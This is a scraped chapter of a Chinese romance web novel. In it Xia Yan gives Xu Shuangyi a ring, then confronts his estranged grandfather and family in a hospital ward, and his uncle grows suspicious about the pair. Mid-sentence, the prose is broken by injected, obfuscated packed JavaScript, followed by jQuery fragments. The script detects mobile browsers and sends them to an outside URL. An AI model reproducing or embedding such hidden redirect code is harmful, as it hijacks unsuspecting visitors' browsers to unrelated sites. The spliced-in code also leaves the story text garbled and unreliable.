33. 电话

作品:《金丝雀今夜不回家

    许霜意惊讶道:“这是你刚刚去买的?”


    夏延点点头,他没有说话,也没有帮她戴上戒指,只是把戒指摊开放在桌上。


    任由这一枚戒指,如此孤单,随意,被摆在湘菜馆铺着一次性桌布的桌上。


    如果是别的东西,她收下也没有什么。


    但这不是别的东西。


    这是戒指。


    是戒指啊。


    他怎么能就这样随随便便地送人呢?


    他怎么是这种人。


    他怎么会,怎么可以。


    许霜意有种没由来的怒气,从心底升起。


    却说不清楚是在怪他,还是怪她自己。


    她只是说:“你就这样随便送我戒指?”


    他却是漫不经心道:“这哪儿随便了?刚刚看到你想要,所以我想送,这有什么问题?”


    她想要,所以他送了。


    这么简单而已。


    许霜意突然发现,她竟然有些不习惯。


    她还不太习惯,别人毫无目的地示好,仅仅只是因为她喜欢而已。


    其实随便的不是他,而是她。


    和夏宴泽在一起三年,她没有收到过戒指。生日那天,她看到夏宴泽的手上戴着和别人的订婚戒指。戒指这种东西,有时候可以是情定终生的约定,有时候也可以是心血来潮的装扮首饰。


    或轻或重,仅仅只在于你赋予它的意义不同。


    “谢谢你。”


    她不再多言,默默收下这枚戒指。


    夏延勾唇:“我怎么发现,你好像特别喜欢跟我说谢谢?”


    “我有吗?”


    “当然有。”他掰着手指头数了起来,“要不要我给你算算?”


    “不用了。”许霜意摆摆手,“不过有一说一,你帮过我那么多,我要是对你多说几句谢谢,不是也很正常吗?”


    “太客气了。”他凑近了点,“下次可以换个说法。”


    “说什么?”


    “什么好听说什么。”


    这个人怎么越来越不正经了。


    不过,偶尔配合他一下,也不是不行。


    许霜意娇媚一笑:“你真帅,对我真好。”


    夏延抿了一口桌上的茶水,点评道:“假。”


    她的反应太奇怪。


    一般女生收到礼物,应该是开心的,她的反应,却像是创伤后应激的条件反射。这种撒娇哄人的动作,也熟练得像是做过很多次,也太信手拈来了些。


    而在接下来的吃饭过程中,她再次验证了这一点。


    点菜时,他问她想吃什么,她的第一反应是问他有没有想吃的。


    许霜意看着夏延探寻的目光,也明白自己是不是暴露了点什么。奈何之前和夏宴泽在一起吃饭,总是迁就他居多。现在见到夏延的反应,许霜意便也就不再推辞了。


    她收下了这枚戒指。这枚珍贵的,夏延赠送的,没有其他含义,只是因为她喜欢的戒指。


    本来想等下次找机会让夏宴泽送给她,现在看来也是完全没有这个必要的了。


    夏延,是和夏宴泽完全不一样的人。


    然而,让许霜意没有想到的是,吃完饭之后,夏延并没有回金霞小区,也没有让许霜意送他,而是说自己还有其他事。许霜意猜想应该是车队里有什么其他事情,便也就并没有再过多细问,而是由得他自己去了。


    看着许霜意离去的背影,夏延在原地站了一会儿,良久,才像是勉强做好心理建设一般打了个车。


    目的地是湘雅医院的VIP国际部。


    一想到等下要面对的那些人,夏延心里陡然生起一股烦闷。


    他调整了衣服的领子,把后排车窗按下,呼吸着窗外吹进来的冷风,才勉强好受了一些。


    司机提醒道:“小伙子,要不关下窗户呢?现在这天气冷啊,冷风钻进来,很容易感冒的……”


    “抱歉。”


    夏延抬手,关掉车后排窗户。任窗外景色变迁,一直来到湘雅医院。


    按照信息上提示的301病房走去,夏延站在病房外,却迟迟不肯进去。


    这个病房里躺着的人,是夏延的爷爷,也是夏家的家主,传说中的夏老爷子,夏烨。


    曾经叱咤风云,在湘城呼风唤雨一时的夏烨,现在只能和无数平凡老者一样,躺在医院的病床上,何其可笑。


    当年,若非夏烨执意逼他,他和妈妈也不会走到那一步。


    而现在,如果不是他们用同样的手段逼迫他……


    夏延冷嗤一声。


    若非那些人逼他,他是绝对不会来这里的。


    和夏家有关的一切,都让他感到恶心。


    “夏延?”


    身后有人在叫他,夏延回头一看,是穿着西装的夏宴泽。夏宴泽西装的衣角微微皱起,看起来像是刚从公司赶来。


    “你怎么不进去?”夏宴泽问。


    夏延看着他,没说话。


    “算了。”


    见夏延这样,夏宴泽也没为难他。他知道,夏延就是这样的性格。当年因为那件事,他现在变成这样,对夏家有所怨言也是情理之中。


    只是……


    夏宴泽的视线,落到夏延手里拿着的外套上。


    这个外套很熟悉。


    黑色环扣,像是那天他在和许霜意住的房子里看到的款式。


    电光火石间,夏延那个新换的头像,又出现在夏宴泽的脑海之中。


    想了想,夏宴泽还是决定要问出口。


    他默了默,道:“你这件衣服哪来的?”


    夏延被他这个问题问得一愣:“小叔最近对时装感兴趣?”


    “说的什么话。”夏宴泽语塞。


    只是,让他说出自己女朋友带回来过这件衣服……夏宴泽实在是也说不出口。


    “进去看看你爷爷吧。”夏宴泽说着就要推开病房的门。


    “等等。”夏延阻拦住他,“我可以进去看他,但是为了拿回我应得的东西。除此之外,夏家的任何人,都别想因此绑架我。”


    他说:“里面的那个人,更加不是我爷爷。”


    夏宴泽无奈:“夏延,你一定要这样吗?”


    夏延无所畏惧地迎接他的视线:“小叔,你觉得,是我一定要这样,还是他们一定要逼我这样?”


    站在病房外,夏宴泽看着这个侄子,仿佛又回到了夏延第一次回夏家的时候。


    那时,他第一次见到这个侄子。


    夏宴泽在夏家排第二,夏延是他的哥哥,夏敬川的儿子。


    说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997848|191171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来,夏延叫他一声小叔,比夏宴泽小了十岁。夏延第一次回夏家的那天,是十二岁。


    当年刚回国准备接手夏家,进入公司的夏宴泽,第一次见到少年夏延。


    两个人在错综复杂的夏家,竟然都能勉强算是外来人,意外萌生一股惺惺相惜之感。


    那时的他倔强、桀骜,用一把硬骨头,和夏家所有人都不对付,像一道火焰,势必要燃烧这里的一切。


    也唯有跟这个,看起来同样是外来者的叔叔,才能说上几句话。


    很可惜,尽管他们看起来同样是外人,但本质上还是不同的。


    夏宴泽身上流着夏家的血,他在夏家长大,骨子里依然是精明利己,高高在上的夏家人。


    夏宴泽不会懂夏延,夏延也不需要夏宴泽的理解。


    “那还进去吗?”夏宴泽问。


    “走吧。”夏延依旧在笑,只是这笑里,却没有多少真意,“费尽心思让我来,不进去看看,岂不是可惜了?”


    VIP病房和普通病房不同,里面是一个宽敞的套间,没有刺鼻的消毒水味道,让人安心。


    夏敬川坐在旁边的沙发上照看夏烨,看到夏延,他作势就要起身:“夏延——”


    夏延却是看也不肯看他一眼,兀自站在病房一角。


    夏宴泽无奈,低声道:“大哥,护士说过了,病房需要安静。”


    如果可以的话,他实在是不想管这些破事。可有些责任,身为夏家后裔,却是不得不需要承担。


    一时间,病房陷入沉默。


    “你来了。”


    一道苍老喑哑的声音,自病床上发出,夏烨伸出一只手。虽然人到老年,但这么多年养尊处优,老人身体并不干瘦,这场病痛也未给他带来太多的折磨,脸上仍清晰可见年轻时的意气风发,不难想象他曾经是如何在生意场上挥斥方遒。


    “是啊,来了。”夏延扯了扯嘴角,想扯出一个散漫的笑,但实在费力。


    跟这一家人,就连伪装他也嫌累。


    夏延的身上,是前所未有的冷戾。


    “我呢,也就只是过来看看,看看您还活着没有。现在确认了,没事了,我也就可以走了。”


    夏延的话如同刀子一样锋利,扎得夏烨瞪大了眼睛,夏敬川也坐不住了,起身来说他:“夏延,你怎么跟爷爷说话的?”


    “别用你教训儿子的口吻来教训我,你不是我爸,他也不是我爷爷。”


    撂下这句话,夏延冷着脸离开了。


    剩下病房里的两人面面相觑,夏敬川心虚地看着夏烨,也不知心里究竟是在想些什么。


    而夏宴泽看着夏延离开的背影,陷入了深思。


    半晌,夏宴泽走出病房,在走廊的尽头,拨通了一个电话。


    “喂?”电话里女声娇软依旧,夏宴泽却莫名地烦躁起来。


    “你在哪?”他问。


    “我吗?我在湘雅医院呢。”


    “你在湘雅做什么?”夏宴泽心里登时警铃大作。


    但这种紧张并不仅仅只是来自于对她身体健康的担心,还有一种隐秘的,难以言说的。


    来自于夏延的头像。


    来自于夏延的外套。


    夏宴泽心里清楚,他须得尽快见到许霜意,搞清楚这一切。